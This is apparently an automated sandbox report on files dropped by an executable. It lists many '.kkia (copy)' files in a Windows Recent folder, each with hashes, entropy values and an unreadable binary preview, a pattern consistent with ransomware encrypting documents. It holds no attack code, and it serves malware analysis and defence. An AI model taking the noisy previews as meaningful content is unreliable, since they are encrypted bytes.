Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8670822896902095
Encrypted:	false
SSDEEP:	24:MusACXy+BgptGd54Q9U5KnC6JXD23QW2HhVd1pMEBoGcDxnd5QkbD:MxACi+cNQUKnl23wjnpMEeGcDRdD
MD5:	FF3787DEE677A95D2A6CC3ED1BC31CB5
SHA1:	CA92B527903C41A0676856664CD13A049A1E5529
SHA-256:	50A4682E3A195089453527AA5973AA9599CC07C807DDC836660790822FE6F400
SHA-512:	12651E66626AC931147C9CA7376ADC1169FA183851DF3071DAFA9CFCEE23A2D1F6F84FDCE64458AE9E9D17FBE8E382EEE0D0D2631237EF534B2B7E27293B2EDE
Malicious:	false
Preview:	IKCRSj.L. .].x.'3.._....!.2..S....H..vZ.. Pe~...:.a....m...zOh ...C..@.='. .(..&:u...P.JN...0q3....O.N..d.....;Q..R..-ig.....+.o...}.l.6.~....U<..6\......#..,...N..bm\.fO..6......9...{.y..~..Y...b.2.%.c.......>....#k .. ._.K..W...1.e.lT.......24....i[#\|.f0=..1..=.O.. .O.=/8.d.......i.fh..v...T..s.&...#l..&>K....gNv@N.T..._..I.e.),xt.~.......!.}f....d^..(..E.L.x..L..\...".8......n......^?.6e.....z.0c.-z....R.....?..13q....].':>j...G6.......).c{z..D.\..X.%..3.C!..K...\|}.R...V..C;.:L.....T.O^...x........j.M.!.e..m...R....N..c&........0./...-.kB$.<v...RXW.4~....&i....UF~.d+...~ Cu......#.......8../....,...a2.r}./.......@....jqc..MU...i.dG.>h.4..:x..k8;W...c?.Xr.5.J$..D9.9s.R..&.IR....o.GQ...!U.\|G..Y.be.......WQH.V-...\|..].q....>p..9..-)..T....N.T.G.eYn}W$W..,.k... .e..4?_....JHYBD4..90.w.z.)F.S...U....X......I....>..R..*.T`.......(gz............[M...:w..t..O.".w.............V....3..N...8m.....@?J.(:..(....g....].... ^...EXWwC.[.

C:\Users\user\Application Data\Microsoft\Windows\Recent\JMRZRDCMEF.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.841688849722251
Encrypted:	false
SSDEEP:	24:RcVkuuHwTDlhVSXvV3gOD8SmnOW3uh9IOoo8Blxn+bhW01aWHPKz9atSjkbD:RcauuH2U9wSe/+jbdEldwaWHP4eVD
MD5:	45793A59EEBDB2C07DA93CB0BE178006
SHA1:	A422872DA0856D5A2A20FBFFD51EB996C490AB46
SHA-256:	070A80AD31CA82673CA1ECDEEA94849FBBDAB73EBFF3868F46B328902F9E596B
SHA-512:	F551879190A189224876BD55D6FE3EDDA7A709BEBDD7B88D162764C2DA911ED135919EE7A8F4100E41C21DD1F1053C714359847AAE846CA7CD8056919B28C287
Malicious:	false
Preview:	JMRZR2...}I=..JE@...i.._. .........u....'.:.....;.._.%...[r.Mz..;....EP'wo.....).....`.....#Kq...V7......:?v.p.......:...l8.,.O.U.H.o.%/.I/l...d..5%.....W...}...#.Y.b...Y6O...0.U....6.}..:a.,+8.D...q.?...Pr/....U.d.H..t_.BXz....".a.6Wq....H..f...M..6....H.....Y...}.I..pf.u..ij.[...7...'+G..+(....^._.w.7...L.\|.d..R............u.Ak5...J#.1.D..y...^...<.....qbO..gYK.kvZ...`..3..}...}..+......&.......[.(..O{.$...P..>..W.......R Hh.N..!].v..$.^..k .-...........p.o.s......!j.Bi.........K...AguU.g..T..........s.#N..KR.W.U.......s.....o.V..r.f..6zA}....I...o.J.......?.b..S......6...c.2..s.q.2.N7uM;..f.rt8..7.8.....`.#Q..>t...O`NK..f...yXT. ..W.w........aP.O4=....A.WK...{^.:...7;...uH..@.;...lp..~....L....2.....I_~.ct.....t\|-#...w...H..wt..eY....s...hP..UR...%..c...e.\Y.....V.......3....a...\|.<.....t......`4.2.......v].4.eW..A.....c......2..g.p..QtQ.F4.(.4...H.x.......s.._.BB}.....w$....rx.h.:.....G......m..n.S.........t.D..~k.M+.I?T.Y.A.U.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84581857719575
Encrypted:	false
SSDEEP:	24:bmZjQrcvOzxSRWoI1pGyCEf3+bfvTOQR8g6DD5PpVtbM2OfgM3zHkkbD:yZjQuzI1pGVEfGCS8H/V98z1D
MD5:	9101D034F6590EB2224B4BF11C953BBB
SHA1:	F86C64EA079444026A6DA27BFDD243F5C4EEC7F8
SHA-256:	37EADB66F05D9CD9A113F019E0AA5F5304479B6BD6442ABDF1381D550782BA63
SHA-512:	BE77A5560BF103A3E2E8B7302066E709495719FEE5FFDAC11421B3B9E6E43490DFFFF26FCE6353A961E47ADE8C7A504D199E2697120DC3B87ADEDF2D48FE69CD
Malicious:	false
Preview:	KLIZU.\|..m...r.........L..J.s........./....%..LP..{&qW.G1.y.'....x.b..bx...haU:/.;$.?'`:..rg.1.m..j..B.q ...........i.O.h....K.^.t..K&.8..dUr.....p_...v.i.e.g....0c5.GI{....V.b.....R....@.....Z....z..A..8..<.u..c(J...E...\|.=..)G...}..s..Gg..i8.Z....]/.)<.j.V.aE...$`........5-...Pt;:......ik'.....)I......M..,.N@<..'W...r9...P...g.....%..1....@....."<....=.kW..... %..]v....\....nY=.R...&...<...{Ng8...OG..I.#...k.#[...4.\|oH.CY.....IU...)..).=h.N..K....`...=./E....$.P.d.I.....c....g.x.....q..%.M..x....._...T`...'....{U.)"S..c.... .....P.qBS.s.t.I3%..C?!.H.&.....Y.....b........x.\|..&.g......W......#..8.$n..Z,...$.F7/..C.y.....+.9;.....a.F.....[%[...Y4B...O.(..zKc...w..ti..c...&...z./.7.....S.do.......7....x.Bs....}.b.gWv..X...&.Q....RlY....p.%.\..Z.H....n.2Bfh.xrH.xG....s.F.6......^...6...fh.3.b."g(.a.2r.t.+.J.....}.^.Z...F.....Q.g..=$..q.jV.`bI.}XNv.>~......\|U.E...,..y9.4M.K..W.z..n...i.t`..!..pg.I.."H1S.....t.......K......(.'......`.W.w....

C:\Users\user\Application Data\Microsoft\Windows\Recent\MMTCVTWUGY.png.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.823492060076958
Encrypted:	false
SSDEEP:	24:MDuniUdQ3cR1/CNfgqAcf21+KCEIBl0UR7mhMdZZxdi2PeZPMY4kbD:EuQ3cDCOxKZ5EIB3R7mhMTZXmZ08D
MD5:	0E56BEAB71C16D791F2BBF0C193F4839
SHA1:	3664BC0CD78A9B02E27FE06888B90FD831A3A9BF
SHA-256:	CCF07FB23CFB028AB602C7A958763AAACF71DED53D2C10AF9B780AD95A6CCB05
SHA-512:	2B251BE18A9358B8CD2F65AC46156DEB6913F2C2DA8B251A4E856EA9CAC542AE40042BED855C215C19D37C3AC417328C870BD86C85F04DD6A8BF3F754E5ACF36
Malicious:	false
Preview:	MMTCV.......Bk.R....ke.YM.g...M..L$.U[Qb_....+..l./.[d.,~........bI..o.;1....u..S.....1vnb.E.V.j.92U....a..4.+\|....m.9f....Qz].....9....S.3KWST..........,.d...3:..kO.bf<&,.:,A.U{.cKT...2....p.B)..X..b.<p.L.+,.Htf....xp.....iA..oAz....TP@..f..F.3..-.;&{...<.Yn.......b.T..,...C:.....#.Q.f...m.G.......@#.6Ze.{..6D........).~.....@o.....)....8..k.e...^I.%.....g]..E"..)$k......YX.#.}u.d.(...i(...6e...Bp.4..\|..6&.....Z...v.U.b..!./N.A.....8...E..P......x.K.r...u....}....9}W..)#pq....?r...}....\...w...x..9....`........3.J.A=..f...6..+..`...4@../....X..Sn.J.:b' . g.) ....{.:.B&.....r.4S.(.4\(%C...........md..$..^O@..$...Z.$..`0..b;.m...$.-&...V.:..}...i..CPH_."u\|.z..x.BF.c.kyl.R....j...v.?..5...T;......v..k.PT:.E.....@....v.VI.`..w..$..j.s.6.>'(61.7.0.x....M.g..9....."..U....HSH.i.tx.7b);..a`.g..9~....^...`..+-!A......M.0...ml.]XX..\.R`.q.~.7.. ..8..c....PIR\|.[OI.....HUE......^@o;V.C..4@oR..v,n...Mx....K...Lf..X.@..ppL.......+l..

C:\Users\user\Application Data\Microsoft\Windows\Recent\MVLAMAIDGQ.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.836062074902557
Encrypted:	false
SSDEEP:	24:QXCzQKN5VlJfpTEQVOv4ZK/3UE9pcOBeOaW6V5NnvE+sCMLkbD:QSVD9EOOvf/3FoOy9V5N8+sCPD
MD5:	54C1A29F06E552D52477433D1F69CFE1
SHA1:	DD1DEF0A87F75D56146E1E0A7ED3C349C449D0E7
SHA-256:	72D4AB5EC0FE7A07845DD12D664000F6738E31DEC79085F50FB0E1EAAA642F5F
SHA-512:	202112953F3CE505B7D7C710866E150C26AE1B722724D70155072D14C080B7CA4A3B16B59DD24D757C6F5421E33BF2F84B3DF06B86E342E0009266179192F954
Malicious:	false
Preview:	MVLAM:(.`..pv.o..9....7..,.h.v....w..#.(l..g.Bz.z;.xYn...p'x..r=L.x.2n.u..8.rH..jM..A...b5...!!.#Z........`.....O..i.....,-..u.=...i.h...w.!...<....P>.W1.3.nm9g.'G8..U.>....\|Ne.hg.).....#B.c.<......dK..E.Q0.Y.........f..?.Q..V[.z..7.....e..F.K....s.fN..y.h.e".....;{U\T.8>l...MJ.Y..s.Q.c.Y.x..~x[...K.noHN.m.................>=c.6:...Gi.v...v....1W<1...Mh.kU8.....c.k].TD.1...h7#..j4Q..+..?..@.c........e1..b..?.A...P.'H.L(.....^.n_...y-Bi...Z.+i.......5t..,z.......d7YsE`'......l..%..k..8.`...........f.8>-B...E...........u.':W..E$.G....>..tE..v...bqm.....S.......#Y....w..M...:.@..V.?..HB%..;.3K.b0}.+....d....y.B.K.w..?sC.Y..%9X.h.<Y...........F....>M.:..3..T....W.{.."..J+z..!:..(o...N.Z...y."{.X...HS......4y.j%....=..$x...R....P....(v....HA..{T.fB.......8.e..J....od....;.p.l.........R....Lt..cW..u.t..?N.\|3.....MU.t.<.^.rj....\|10c.Q.J}.{......p...v..#}....,Hj...Q..2.......b.P1..$H...Zc..S)....Q...h#(.KWz}.4X.....g2.../6.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\MVLAMAIDGQ.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.840959248080091
Encrypted:	false
SSDEEP:	24:T3Q/6YylosX3Gr3JoEKngVNmgl176ZyjNyQ6gila5HFmbFs/A4TVDnZMkbD:Tg/6YymsXWjzl1+ZINyQoqFqiT5nZxD
MD5:	8DD8D2136958A46189E5FADFE718DD88
SHA1:	7320A56B93826D6CF1C791B513DCEBB8ABDC307A
SHA-256:	B13F248D5668521754EA4646C66EA10898869DAD35419B76E2C2E3F0DB8DA211
SHA-512:	19CCA320DBD1932AB64E777137E7510249D38E3011D23D1474EC52F427B17B460F0CA1FD1D5CFADD96717F96EB6B0BB7EE9715C4194BD927532EBD42CEC04B57
Malicious:	false
Preview:	MVLAM.g7\B.n...q...........P....r#.7.Y....Xm.r5pW...u:.{.....\|x%,..........Q..g....'.g.....IF.1..B..,=......0...i.I.na.U.6q;.....X.i..........gG<...L........\..Q.q......Z.'+..MzJ.<?g.O......%......\g.B..i\|a.]:..g..$._.gu..T..K...b7.!....<<.v....U......=!^D.]z...?A9.c.....Z.[e.....Q.vu";...<=GP..b.3>c..n.Sb;_.fx.bG....O{...:..#......+%0,.5.x~R@.+.Q.a..\A..W.r.p.}..'..O.9..G.U$.?/..d4...\|.....m..Y."...YX])...gn.Y......o..@.n..!w5.N>.....(.E4..t..:..N.>&F.NV..g#.wa.%#....}N.@!4.r0"eR.HRA.V..9S..K.F?...i7..~..z..g...7....[QI.f..L.@B..@W....../}..u.G.=.s>...0._(x@b..7"..V..........8M....._.dNx.x48B5...79..F.^fO._..H...G.........X..P-......-.5..FS...Z.... .E.X..\|.@...r.\k......pVJ.l.u........hy$uhk......@....r6....9$.V.....?....[.V..kq.v.....{..6."..1.;..AB+....,&e.....w.....+...`.q.h}.3.+.1...&.&...s....S)+.E.u.w.4......g@...S.G[3\|.\|..#u.HzL.^..F....}...."J.F...p.Q....]]E.m.U.DiD.....3yX..9B.=.T.g.v.<...8.Z.l..I.V.<......}. $.3..;=....A>....8

C:\Users\user\Application Data\Microsoft\Windows\Recent\MVLAMAIDGQ.pdf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862595686207716
Encrypted:	false
SSDEEP:	24:GwKNokEp6AEqC70VotGqktOufZ5clBz6PFt9IhPUGm75Al3kbD:ANXEMAET7QOu86Nkif6ED
MD5:	8D2564657CE74E0AC7879BB4AD743E9A
SHA1:	5BE91BC19F31271C6634B7C6AAFECD9BF6286AEC
SHA-256:	74B0BCD3B67212CFAC7169EB6D2DDFCB731EBBEDC54047E77335353240D1F34B
SHA-512:	6CD3FF62040A99DB84F71A746B7694B5CFFB7685FF6060A5F02BDC3C18AFFDE64257837FFED7EF83618330A18EBA70123BFB1954E8FE065D4094C07464CA8E42
Malicious:	false
Preview:	MVLAMG..].. ...I.....w......V./../..A.cv..T.......%.E=sWk..O8#..M.Nn.=..p...2.Y..-9.....5U.......D.J9.pN.G...$g.....Cy.:..zA.S..$.%...^...P... .Un.....b.rS..?......H.."..$X....:...Q..z.+B...-...!..o..P.^.j^..vD.\|xi..E..=.@.u..#QF.%.....[.qj.T.......<..........$NB.q.Q.8';..........&G.[.s.`j.g....3-T.t..)p.".f..x.......r.+.........P.n....,.4].....k:...w.#.......v%...../&.%\.....M.Q..;F..]......V...1.......r..>..2...?.2.S.)<...I-/..'..;.jtg...{=...b,.^?8p[.E.&.%.w.0.X4....0....U. .,...sX(`,'.....+d......5p...qs..>k!.5..........T.O.....'.^.&@G.N..:......G..O..$gN...l.....k.....F[...g}.c..."NE.v...GU.....2.:....c.B.>Ky.y..a..V..PU...5h(AMg.....B....0...Zw.....e...FZ..4.+u...(.W...pJ..K ..e.#...g.....6...{...Y...W.,.Uv..d....7hz./......e..c7m.!>..$v.....<.."W.k...8.p.....f.."8.r:..@+.T.bC.6...c.y.Lo...;S...)..c.U.y....)..a..^.....?..%ob.`+.....[Ow.!...a.w.z...(Q.....4....(...1!.8;]...=........z....hN.{n@v.....?x.....I..3..........u.']/.O

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8334262119511315
Encrypted:	false
SSDEEP:	24:FI9XpDXYf7WdSvFmgIGjeaSr5gWO5BgbsPWjocmBgFE4ujOtqfP3YvDecm18Q6S5:Fo5YfCdSSGiaS5U+jBmE2jOtqf/YvDeb
MD5:	C4271C45EBECD6D2154F8543DDC4530B
SHA1:	C1CBF737F652B419D0E54B543D172B9A26F3FE91
SHA-256:	198C7E24F20809BB563F49581A43C7E3488772832D530A248BC80EF0139A76F9
SHA-512:	9FDDCA6410714D2E6084AA0E04717FE82C3180C8596DE9F57FFDFF3AF056BE178A3DCB82696F9016F5203095ADDB87DF2B9077B7A9D7856F1383ABFB09338B0F
Malicious:	false
Preview:	NVWZA.#Z....V.>.. .R.#......,...3.i.........p.....k~6.~..j.$.0....r.k...u.]v......8n%7..`./..F.....1.j...aW<........Yo....Ffqw..\|.........?....v...]..'....._'...$[\|..r...{.^_.IJ,D.r\.\...}...d.i..K*6....{...Ah...tPW5P$'.@..P..b.Y"..^...e.ope......U..6....K.-.......[f...=......n...9b..<;.x.%.?..;.>....Ni.# ...J.~<.4.`.....;.a.K..k..U.o..q.[.../.~.!...;.p^..M.".l&.;.z.H.;)....H@X.T.->..{....e;...w1.......qq......Qj...{}.....`...y.r....rh..()S._.kT..f.........,.-...Z...\D......}..<LF....~H...&....Q(.'.v.G.\|./....^.b/...>.K).....4...x ......2a!s;...#RZ).Gf...d.. .;..Q.1...z.I..Dy[.b.'8]9S.....\g..M.V+k..Z.CD..{..yb.....t'..S..3wQ..nw.......U(...]...4m.D.uw.TKJ.M.p.s.f.../..........6....Q1..:k..J......n...!..B.v..N.R;G^..qM;'....C.o.....q.=..YN....CJ.Z...N.?..N.I.?...hH.7>..E.....,t.^[...... !.g.p.....Af1.;'4/.v.r.~M......%d.F.....F.v.....h...}....S(jE.K.H...X.u..7I}..M-...XX../...."..E...-:.5..{P.6....C1...^'i..Yo........U.Uj..^.....M.2.

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.864938086792582
Encrypted:	false
SSDEEP:	24:FWyuWrBNN1avBsn/WrJ6zLnVEB8TqrR7uTmc2KGCOEUc19T7YFDUOnh0AyK4ueOP:FnrBNC6/iJmVq84R7YXsCTZYpfGAytuV
MD5:	FB87F04E358293D4A984A98CD0CD3FEA
SHA1:	75C4BD8320F0717C1D2EA0C32B7EA6AFE83E66EA
SHA-256:	9E0EFE1BDF5ED467264ED7B958FCDC3521540F818AE4983C947A87299951C017
SHA-512:	10CF7C6D21BC15007D9C74C29A420662707A11D3B38DF82C63529A0748E4817523285046D808DBAAE7A8BE3A5365A14DFF3C639D1B1BC0B031FA199C57FBF89E
Malicious:	false
Preview:	NVWZA3..OVt5...,....Ny.....!.i..l...RI...m.x:....\|.m...>.....iZ[+.kD(...W.].....P".?.&.......D.r%...m.I".}?tn4...o.....?.......z.+...G......R..@......`.#...0...>..KeR.:.0..:.N0..)..-A.5..[X..04..S.%...h;k(...,...,.c.m..>'j...VKrY..+..<.......`q.0.>O.`~.`...g..I..Pq......Fp.T0...s.~....Jb%..".v.o..HBg.w...er......`.....U..1.jSi.9}.Ti...iV2....v ....#,G.d1..I.{.D.S\|...k.rX......(-9.(.;.-...'.R9i.>.>....B.QR...)?...#..qb1..au...{.7.uF</...NNSU.X....D\|..3,...&.!.\|.YT.....?..2.............C.....)+p....]..N.U}.vR<o.8M.N....!s.)...<...?..Z..........4..FsSO...F...<.0...T...J........a2.G....^.j.I.%[..Tz.g....ip.V2.....r.?Q.@..T......8..S..d!a:E..z.?..+.....(/.Z...$.......".!....n..}4..2x[dI.C3..L>.{...g.:h.Fq..7...4:5S..x+.y...)..[......4"L..h2...#.V....l.\5B.V.T......(...N<S}_RS...........=q...-.Kj.Mt..2<4o`..H...2...hn..E.....p..........5....SKj......+.mQ6..u..u...t....z..X,\.PC0..e%..E;W.j.s.$E>#.\l(.a.&..4#)....i......"\|...2M~.W$..x@o.zNe..z.f

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.869070926613809
Encrypted:	false
SSDEEP:	24:FY6yxhrpzcge/6LoHOsom566enb9SyC0PBHYeKkx8EUS2o5GyP8kbD:FY6yxhmgeiLLsP56Vnb92telx8rgrhD
MD5:	11646864A0C70BF4DDFED745F9BD7B98
SHA1:	79F0FCEE5FE1B86B7BC6530685D33D6ED9BF80F8
SHA-256:	E0FDFEB86866B59AC38DFC48BCD623494AAE91B354AEFD573E49C4ED0F851DD6
SHA-512:	82B4CFF87A64163424F05FB933A5165966C5EEF856D6FC4962BCBBAA679B14CAFDE2966BF2A70104D8A85787B7A2B4151AB598914940FC61E5E42160FC84CAE4
Malicious:	false
Preview:	NVWZA.vJ. .-.w..:d%z..J.r..9..5..Y.c..Z..c[v]...i..m.=k.V. ...?.$..o..\^.H.2.4.d<...x.8...m8.f6.+.!7&..@.\.N.$p.4.3]T..."A...-...V.^m'.\|.j..@.r-@#..].v@vYZ.j!....i.......Z..9.&./..i.R..N. 1.,0Kb....XpY\../..(....J.uB.V%75.../.}.g..m..m.2...jw...f..7..4.,...(O...~.]..(....."1...+.8..%...w..?.A....Ue...:....@.".."...nL.^....W#..X.L...P..~..m@..V..+.T............p......'-...=z)O.{.......V.;L...SbW.;..<f.=..n..Yf.5^@....E.LdL2...#f........;V^.......RU....U!%.q....[<...T....x..t9....:....P....@..(.=...O.2W.d~....h..E...i`.q......$.\.b...e..x:..~...?.}J....7(HL#.V....>..dw\|.V}B3..'...~l. ..A.4....~..#..h)&....d..Dc..r..Qjy..z-nD..&.....j....mn[...3....'.....!..p.A...........w}..T..y..SI.3.LG._......Cyu.M...ul.9.Q."O...[..$..G..[c.G.{...}.p7....c....2........_/F.Y.=.`%uI.l.n..........E....(h.D..* &......%....?.....8.@.....\|l..c..s...r.G..X..p=....c_qQ..,Z..o.,.{.....@.K..\IW....%...O...8....+..E..Vu..VGw.n......,pC....c.....G.?TN$,.AM]..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.jpg.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874408135108557
Encrypted:	false
SSDEEP:	24:3LVjmZb58J5dDMPt2S5moD0J/nVI91Mv41X38wmSHfgia/GJw0Z+xAFuCkbD:5mf8J5QUdA0BnTIMwvfH8Gy0YxsunD
MD5:	8A7984411F7B7C9099C7DED06DD5D742
SHA1:	B2D50A199C8D2DBE7CB29DE27DA8D03A98555B20
SHA-256:	F352A5CBD386326FC2ECBD18AFE5E3E13ABDF92223E6EC413348FC42C70352AA
SHA-512:	CBFE4317BFF50AAD4CD5E43FF35172BC3B461E6DD1F0C554EE29CFC28EA38A340AF7E582794D388F7DF9A9D45A8DC1F6DC172FFEAAA85CD2FDB2F1E92A466C9B
Malicious:	false
Preview:	PALRG.V%t+..h..(o...K....^.n..L....@).....q~.7V..b....?n.v..^...q.T&f&^1..k...\|.,f..e.EC..!......H....qM...0.v......y....i.pQ{.t.Ts..).?.Z.......'....E.....@a...D...<.N......[..}$.....L......#i.n...3<J....8..".+'\..."..[_.Hx....5..k.....b.X....~..(Tt.......)....?.4?.Q.L&...2E...<........._..~.j....e.:...d.!.JJ.....PF...E..^w..<...T..fm.-.o.fDN".....#...P."cx.mS....v.R'V\..{=.Q....%.`TIlnH.;.S...r........n.U.yln.4b......d..f."..=.^.N.u,...5.....$;....9.+....*.b.....p.i.. .%U$,^..P..I.^...G.V.P...)x,.\JD.Msb"...<.`t(.~....{..`w+...B.v.<.)JH.6..<....!.xj.....0.T..z..L.c.,2.....S#@.:...Hj2.".M8...L1.....G0.'..;...q.U..\|FN#..B.X....6nP.a...6..M...........FW...?1,..{.......M......`....w..h.j.f},.I... C.D{....._NI.c.~m.7q.......4..z.tT..".^L.m1..6...<..![...m.Oi...\|.Y....sr.K.+z......l...W.n[Q..{AL.grr...F .c....0$..K....#jn.}.R..?K..Y.9.@.i..p..r...via.W...uU.......R...{...?.X.........Q&........lN.p......m....sS....u=^..}.<...u'.~k

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.xlsx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866909744437741
Encrypted:	false
SSDEEP:	24:NqYWkGITUEfAIbEbPYMveQNOLLkbpMGdokHgeSDD+uzhEcWHC5SYXLVVuQy2SEkX:wgTUEfAHrfv3NokbpryeSOkE7CwyVuQo
MD5:	5CD18AAA95E7016CBD0411176D13E050
SHA1:	DAD116E1DF07279772D2EC2E6A15BC9FB7BF001B
SHA-256:	CC272D48A2CFC155AA84F56C13704DEBB39452756FE45D2F4904A33F84A5D84B
SHA-512:	15B97F795C09E8FDCB1DED88CC3D971AECA9D782C829428FBC076F5C8C46114A33CD0CCFA0B537B06CED90C209F35BF4252E893CE28B0B02989B4953AFD5054F
Malicious:	false
Preview:	PALRG.y#8......{\|`c.K../.G.M.k]..:i.......y;...c\|.p$8t...._.Lw..s.....-.jS.-wwd.#...T)...a%...)....K.gtT0.....>...Z..6.y...fF........l...{.@....&\.fo.U...}.p...A....W.o.3..s-...i...f$.X~[0<e..J.j.....~:X.&Nv......H.I:...+..Bd....\.......!..U9...:<..Da.\..Y.5..m[..R..e.>......,..8..q..\|...H..J.K@....m>=..Y.q..j....QG/T..2.$D.\B.....U......\|.....b..-.%...\|][R..\'..~....gO^..k...$...r.kv.-.....>.Kf{'.).~./...z..\|>..!.m....X...\K. .....9._...v..o...o..5..}.....$......y.c...........T.G m=.g.#.ZN.}.0(:...=...0..I...d..f/.d..".._..n.....P.[.._3..$..H4..M.A..3...y....#...3..M....}Qo.QB.-.j..cHi..ny1..r...PN.@..FfV/..c8..).K-S.. ?....Q...c.kl.d=X.\.'...h..4+.\...g.g....o[........X..X...oz-.O.S..&.xr..\x.?..0..~?].......2.7......._.L]..0.u9.9.....k.._Afv......6.F.....b.L..3......f....0....1.........$.3..j..K.H......a.@XH....k...c..u..7...NP...\.C...5...Q.g..a.8n.d.z.W.G.3.%...H..P4..A@..\|.T!K....'...q...v..i...6.o.~.`.....`.

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.docx.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857602368398884
Encrypted:	false
SSDEEP:	24:E9vsrgtwjlXzS3lb7+Cg1X2tfrbw32pNE1JadqON8akwfDFF0PHu8TGOPQiTfXBd:E9srcCXzgf+h1X2tPRNfsMuwbFFX8TGk
MD5:	0421BA3C6384CB75D0501BEE19D17BF4
SHA1:	9F7E7702840A2E62038142C52E706787B26A9FCF
SHA-256:	1C0B58CA625506905C5F5F17D6F5F16227EF5B2326017A95FE4B2894E8421D59
SHA-512:	DAD4102BECE57B46693D80FB0D487321D759155584737474FB10BFBBEB5C09BABC2B052801580ECC48E6DE69BB5865A284BAF7E07EB1BBE24E04D4BDF3C9F444
Malicious:	false
Preview:	QCOIL....=.YU.lo(.....HD ....c.....!./.w..)L.H.$.../.m!........;.f..=..&<.d+.f2g..?.......\|...Y.ii.~GE%C.T...4..fz2....!.....5 n.tV.../.v..:.3.V#p..U.Y........i.l.E0..0.h....oS4...Jz.J{.]]k..P......Z;^..@Z..O.8.X..~~.c.s.N....or.).,_..)...D......d........hH.VX...--.M!..e.[y..]......D'.qe!.....P...\|.....I"4. ....Q.......b...&....Y....G".k"rWb.%V........Q.........q..j..&j8...CL.t;_Y.B.{..N.`8....}..J...IH8....B.0[.o.Z..V;...d.......aP....VGBe..Wga5..m;...j..C.3..,...$.U3...Q} ...r...J.s.......T.pG~.E......A.....{J.....&.\|.l./c6.......?.+..$..T....-..RQ.S..$"...a....JK.T.Y.C...i...^..,.......W.....6....B.....h3g...._...Ht.NQ...-....e..'-...-.N.6s...V.......I....k.p.%.IT....Z>...+.P.0....J..z...>V.\...G.-....B(....n...h..Jxn....C4.P'..k...]......\U...K-NP .......//..`~.D...1......E-..\U...+...\..Jt......S.Q.p..."F.s.v*..".j.......s.....e.B..]:...$E.(....wQ.2...e...QTi..\|.'.......'.....4...J..hA......7...UO ..j.a.`(.......W....g.!.g

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.mp3.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837165693752528
Encrypted:	false
SSDEEP:	24:uYYwoP1Z6E71JB9mJ0abfob91I7PPidFW60bOn503BmkFfd2Ou320kbD:uYYwo9n71BmnC9QPPGEhCnimkldrumZD
MD5:	4BCE9AB335C7D7786A952ECAC058B62D
SHA1:	8E47C7EF4565F38830072D3221BB408B9D8A748E
SHA-256:	8D57D4E22E4138E44F2E130FB461C25541CA9030A9C1D49E2EBF8A1F5CC7DFFD
SHA-512:	4634D1CA3FF4135972FACD6D2F6E832CCA49A7BA9C182D44C5D86913B75A948EAC0A5B308DB3DE170FEA00F5E0AA59FB61A6510C1954ADA97DC1E1D1E6415FCA
Malicious:	false
